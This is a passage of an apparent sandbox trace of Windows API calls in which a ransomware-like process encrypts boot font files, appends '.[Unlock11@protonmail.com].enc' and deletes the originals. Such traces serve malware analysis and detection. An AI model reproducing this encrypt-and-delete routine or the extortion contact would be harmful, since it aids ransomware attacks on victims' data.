0x33f6ac8 [0117.166] GetLastError () returned 0x0 [0117.166] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.167] GetFileType (hFile=0x3ac) returned 0x1 [0117.167] GetLastError () returned 0x0 [0117.167] GetCurrentThreadId () returned 0x9b0 [0117.167] GetLastError () returned 0x0 [0117.167] GetFileType (hFile=0x3ac) returned 0x1 [0117.167] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.167] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.167] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.167] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.167] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.167] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.168] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.168] GetLastError () returned 0x0 [0117.168] GetCurrentThreadId () returned 0x9b0 [0117.168] GetLastError () returned 0x0 [0117.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ac8 | out: hHeap=0x2ad0000) returned 1 [0117.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0117.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0117.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.168] GetLastError () returned 0x0 [0117.168] GetLastError () returned 0x0 [0117.168] GetCurrentThreadId () returned 0x9b0 [0117.168] GetLastError () returned 0x0 [0117.169] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.169] GetLastError () returned 0x0 [0117.169] GetLastError () returned 0x0 [0117.169] GetCurrentThreadId () returned 0x9b0 [0117.169] GetLastError () returned 0x0 [0117.169] GetLastError () returned 0x0 [0117.171] GetLastError () returned 0x0 [0117.171] GetCurrentThreadId () returned 0x9b0 [0117.171] GetLastError () returned 0x0 [0117.171] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.171] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.172] GetLastError () returned 0x0 [0117.172] GetLastError () returned 0x0 [0117.172] GetLastError () returned 0x0 [0117.173] GetLastError () returned 0x0 [0117.173] GetCurrentThreadId () returned 0x9b0 [0117.173] GetCurrentThreadId () returned 0x9b0 [0117.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.175] GetCurrentThreadId () returned 0x9b0 [0117.176] GetCurrentThreadId () returned 0x9b0 [0117.176] GetCurrentThreadId () returned 0x9b0 [0117.176] GetCurrentThreadId () returned 0x9b0 [0117.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.177] GetCurrentThreadId () returned 0x9b0 [0117.177] GetCurrentThreadId () returned 0x9b0 [0117.178] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x8210) returned 0x35c5908 [0117.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.178] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x8215) returned 0x35c5908 [0117.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ac8 [0117.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x8218) returned 0x35cdb28 [0117.178] GetCurrentThreadId () returned 0x9b0 [0117.179] GetCurrentThreadId () returned 0x9b0 [0117.179] GetCurrentThreadId () returned 0x9b0 [0117.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.179] GetCurrentThreadId () returned 0x9b0 [0117.179] CloseHandle (hObject=0x3ac) returned 1 [0117.179] GetCurrentThreadId () returned 0x9b0 [0117.180] CloseHandle (hObject=0x39c) returned 1 [0117.180] GetCurrentThreadId () returned 0x9b0 [0117.180] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0 [0117.180] GetCurrentThreadId () returned 0x9b0 [0117.180] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\msyhn_boot.ttf", lpFilePart=0x9bada4*="msyhn_boot.ttf") returned 0x1c [0117.180] GetCurrentThreadId () returned 0x9b0 [0117.180] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0117.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0117.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0117.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0117.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.181] GetCurrentThreadId () returned 0x9b0 [0117.181] GetCurrentThreadId () returned 0x9b0 [0117.181] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.181] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.181] GetCurrentThreadId () returned 0x9b0 [0117.181] GetCurrentThreadId () returned 0x9b0 [0117.181] GetCurrentThreadId () returned 0x9b0 [0117.182] GetCurrentThreadId () returned 0x9b0 [0117.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a968 [0117.182] GetCurrentThreadId () returned 0x9b0 [0117.182] GetCurrentThreadId () returned 0x9b0 [0117.182] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b)) returned 1 [0117.182] GetCurrentThreadId () returned 0x9b0 [0117.182] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0117.182] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0117.182] GetCurrentThreadId () returned 0x9b0 [0117.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0117.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.183] GetCurrentThreadId () returned 0x9b0 [0117.183] GetCurrentThreadId () returned 0x9b0 [0117.183] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.183] GetCurrentThreadId () returned 0x9b0 [0117.183] GetCurrentThreadId () returned 0x9b0 [0117.183] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.183] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.184] GetFileType (hFile=0x39c) returned 0x1 [0117.184] GetCurrentThreadId () returned 0x9b0 [0117.184] GetFileType (hFile=0x39c) returned 0x1 [0117.184] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.184] GetLastError () returned 0x0 [0117.184] GetCurrentThreadId () returned 0x9b0 [0117.185] GetLastError () returned 0x0 [0117.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0117.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.185] GetLastError () returned 0x0 [0117.185] GetLastError () returned 0x0 [0117.185] GetLastError () returned 0x0 [0117.185] GetLastError () returned 0x0 [0117.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0117.185] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ad8 [0117.185] GetLastError () returned 0x0 [0117.185] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.186] GetFileType (hFile=0x3ac) returned 0x1 [0117.186] GetLastError () returned 0x0 [0117.186] GetCurrentThreadId () returned 0x9b0 [0117.186] GetLastError () returned 0x0 [0117.186] GetFileType (hFile=0x3ac) returned 0x1 [0117.186] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.186] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.187] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.187] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.187] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.187] GetLastError () returned 0x0 [0117.187] GetCurrentThreadId () returned 0x9b0 [0117.187] GetLastError () returned 0x0 [0117.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0117.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0117.187] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.187] GetLastError () returned 0x0 [0117.187] GetLastError () returned 0x0 [0117.188] GetCurrentThreadId () returned 0x9b0 [0117.188] GetLastError () returned 0x0 [0117.188] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.188] GetLastError () returned 0x0 [0117.188] GetLastError () returned 0x0 [0117.188] GetCurrentThreadId () returned 0x9b0 [0117.188] GetLastError () returned 0x0 [0117.188] GetLastError () returned 0x0 [0117.190] GetLastError () returned 0x0 [0117.190] GetCurrentThreadId () returned 0x9b0 [0117.190] GetLastError () returned 0x0 [0117.190] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.191] GetLastError () returned 0x0 [0117.191] GetLastError () returned 0x0 [0117.191] GetLastError () returned 0x0 [0117.191] GetLastError () returned 0x0 [0117.191] GetCurrentThreadId () returned 0x9b0 [0117.191] GetLastError () returned 0x0 [0117.191] GetCurrentThreadId () returned 0x9b0 [0117.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.192] GetLastError () returned 0x0 [0117.193] GetLastError () returned 0x0 [0117.194] GetCurrentThreadId () returned 0x9b0 [0117.194] GetLastError () returned 0x0 [0117.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.194] GetLastError () returned 0x0 [0117.194] GetLastError () returned 0x0 [0117.195] GetCurrentThreadId () returned 0x9b0 [0117.195] GetLastError () returned 0x0 [0117.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0117.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0117.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.195] GetLastError () returned 0x0 [0117.196] GetLastError () returned 0x0 [0117.196] GetLastError () returned 0x0 [0117.196] GetLastError () returned 0x0 [0117.196] GetCurrentThreadId () returned 0x9b0 [0117.196] GetLastError () returned 0x0 [0117.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.196] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.196] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.196] GetLastError () returned 0x0 [0117.197] GetLastError () returned 0x0 [0117.197] GetCurrentThreadId () returned 0x9b0 [0117.197] GetLastError () returned 0x0 [0117.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.198] GetCurrentThreadId () returned 0x9b0 [0117.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.198] GetLastError () returned 0x0 [0117.198] GetLastError () returned 0x0 [0117.198] GetCurrentThreadId () returned 0x9b0 [0117.198] GetLastError () returned 0x0 [0117.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x5b50) returned 0x35c5908 [0117.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.198] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x5b55) returned 0x35c5908 [0117.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ad8 [0117.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5b58) returned 0x35cb468 [0117.199] GetLastError () returned 0x0 [0117.199] GetLastError () returned 0x0 [0117.199] GetLastError () returned 0x0 [0117.199] GetLastError () returned 0x0 [0117.199] GetCurrentThreadId () returned 0x9b0 [0117.199] GetLastError () returned 0x0 [0117.199] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cb468 | out: hHeap=0x2ad0000) returned 1 [0117.199] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.200] GetLastError () returned 0x0 [0117.200] GetLastError () returned 0x0 [0117.200] GetCurrentThreadId () returned 0x9b0 [0117.200] GetLastError () returned 0x0 [0117.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.200] GetCurrentThreadId () returned 0x9b0 [0117.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.201] GetLastError () returned 0x0 [0117.201] GetLastError () returned 0x0 [0117.201] GetCurrentThreadId () returned 0x9b0 [0117.201] GetLastError () returned 0x0 [0117.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.201] GetLastError () returned 0x0 [0117.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.201] CloseHandle (hObject=0x3ac) returned 1 [0117.202] GetLastError () returned 0x0 [0117.202] GetCurrentThreadId () returned 0x9b0 [0117.202] GetLastError () returned 0x0 [0117.202] GetLastError () returned 0x0 [0117.202] CloseHandle (hObject=0x39c) returned 1 [0117.202] GetLastError () returned 0x0 [0117.202] GetCurrentThreadId () returned 0x9b0 [0117.202] GetLastError () returned 0x0 [0117.202] GetLastError () returned 0x0 [0117.203] GetLastError () returned 0x0 [0117.203] GetLastError () returned 0x0 [0117.203] GetLastError () returned 0x0 [0117.203] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0 [0117.203] GetLastError () returned 0x5 [0117.203] GetCurrentThreadId () returned 0x9b0 [0117.203] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] LocalFree (hMem=0x1053b50) returned 0x0 [0117.204] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] GetLastError () returned 0x5 [0117.204] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\msyh_boot.ttf", lpFilePart=0x9bada4*="msyh_boot.ttf") returned 0x1b [0117.204] GetCurrentThreadId () returned 0x9b0 [0117.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.205] GetLastError () returned 0x0 [0117.205] GetLastError () returned 0x0 [0117.205] GetLastError () returned 0x0 [0117.205] GetLastError () returned 0x0 [0117.205] GetCurrentThreadId () returned 0x9b0 [0117.205] GetLastError () returned 0x0 [0117.205] GetCurrentThreadId () returned 0x9b0 [0117.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.206] GetCurrentThreadId () returned 0x9b0 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.206] GetLastError () returned 0x0 [0117.207] GetLastError () returned 0x0 [0117.207] GetCurrentThreadId () returned 0x9b0 [0117.207] GetLastError () returned 0x0 [0117.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.207] GetLastError () returned 0x0 [0117.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0117.207] GetLastError () returned 0x0 [0117.207] GetLastError () returned 0x0 [0117.207] GetLastError () returned 0x0 [0117.207] GetCurrentThreadId () returned 0x9b0 [0117.207] GetLastError () returned 0x0 [0117.207] GetCurrentThreadId () returned 0x9b0 [0117.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8aaa8 [0117.208] GetLastError () returned 0x0 [0117.208] GetLastError () returned 0x0 [0117.208] GetLastError () returned 0x0 [0117.208] GetLastError () returned 0x0 [0117.208] GetCurrentThreadId () returned 0x9b0 [0117.208] GetLastError () returned 0x0 [0117.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0117.208] GetLastError () returned 0x0 [0117.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] GetCurrentThreadId () returned 0x9b0 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] GetLastError () returned 0x0 [0117.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.209] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255)) returned 1 [0117.210] GetLastError () returned 0x0 [0117.210] GetCurrentThreadId () returned 0x9b0 [0117.210] GetLastError () returned 0x0 [0117.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.210] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0117.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0117.210] GetCurrentThreadId () returned 0x9b0 [0117.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0117.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.211] GetLastError () returned 0x0 [0117.211] GetLastError () returned 0x0 [0117.211] GetLastError () returned 0x0 [0117.211] GetLastError () returned 0x0 [0117.211] GetCurrentThreadId () returned 0x9b0 [0117.211] GetLastError () returned 0x0 [0117.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.211] GetCurrentThreadId () returned 0x9b0 [0117.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.211] GetLastError () returned 0x0 [0117.211] GetLastError () returned 0x0 [0117.212] GetLastError () returned 0x0 [0117.212] GetLastError () returned 0x0 [0117.212] GetCurrentThreadId () returned 0x9b0 [0117.212] GetLastError () returned 0x0 [0117.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.212] GetCurrentThreadId () returned 0x9b0 [0117.212] GetLastError () returned 0x0 [0117.212] GetLastError () returned 0x0 [0117.212] GetLastError () returned 0x0 [0117.213] GetLastError () returned 0x0 [0117.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0117.213] GetLastError () returned 0x0 [0117.213] CreateFileA (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, 